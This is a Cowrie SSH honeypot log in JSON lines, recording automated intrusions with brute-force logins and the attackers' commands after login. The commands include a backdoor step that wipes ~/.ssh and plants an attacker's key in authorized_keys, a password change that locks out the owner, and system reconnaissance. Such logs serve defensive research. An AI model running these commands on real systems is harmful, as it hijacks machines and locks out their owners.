{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.678670Z","src_ip":"13.67.236.135","session":"607f08d57b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578963","message":"login attempt [root/124578963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.850997Z","src_ip":"13.67.236.135","session":"607f08d57b67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:54.922722Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.146732Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.149238Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.152756Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.247103Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.479081Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.481826Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.580739Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.584355Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":35062,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd2a836a806","protocol":"ssh","message":"New connection: 43.157.90.107:35062 (10.17.0.5:22) [session: cfd2a836a806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.669922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.674324Z","src_ip":"43.157.90.107","session":"cfd2a836a806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.771488Z","src_ip":"43.157.90.107","session":"cfd2a836a806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:55.889267Z","src_ip":"13.67.236.135","session":"607f08d57b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:56.173065Z","src_ip":"43.157.90.107","session":"cfd2a836a806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:57.268511Z","src_ip":"43.157.90.107","session":"cfd2a836a806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":35484,"dst_ip":"10.17.0.5","dst_port":22,"session":"67d5b869ecc1","protocol":"ssh","message":"New connection: 43.157.90.107:35484 (10.17.0.5:22) [session: 67d5b869ecc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:57.356137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:57.363891Z","src_ip":"43.157.90.107","session":"67d5b869ecc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:57.454549Z","src_ip":"43.157.90.107","session":"67d5b869ecc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:57.855033Z","src_ip":"43.157.90.107","session":"67d5b869ecc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:58.954060Z","src_ip":"43.157.90.107","session":"67d5b869ecc1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.086530Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.089177Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.190570Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.410491Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin\\nhkfqI185h34q\\nhkfqI185h34q\"|passwd|bash","message":"CMD: echo -e \"admin\\nhkfqI185h34q\\nhkfqI185h34q\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.413613Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.416931Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.419631Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e42e3721585f4cd01f0bedb7a73977b9bf8a189e621e6201e5c5c3080eb58698","size":32,"shasum":"e42e3721585f4cd01f0bedb7a73977b9bf8a189e621e6201e5c5c3080eb58698","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e42e3721585f4cd01f0bedb7a73977b9bf8a189e621e6201e5c5c3080eb58698 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.516323Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.750097Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin\\nhkfqI185h34q\\nhkfqI185h34q\\n\"|passwd","message":"CMD: echo \"admin\\nhkfqI185h34q\\nhkfqI185h34q\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.753438Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78f87f4e7df856421a0f516186069adac23def535997d157390548df29fb8b82","size":25,"shasum":"78f87f4e7df856421a0f516186069adac23def535997d157390548df29fb8b82","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/78f87f4e7df856421a0f516186069adac23def535997d157390548df29fb8b82 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:59.849394Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.133382Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.136946Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.236779Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.475881Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.479341Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.578167Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.811608Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.815731Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.819668Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:00.919195Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.148785Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.152387Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.250733Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.502587Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.506135Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.604113Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.840590Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.844078Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:01.940887Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.165718Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.169218Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
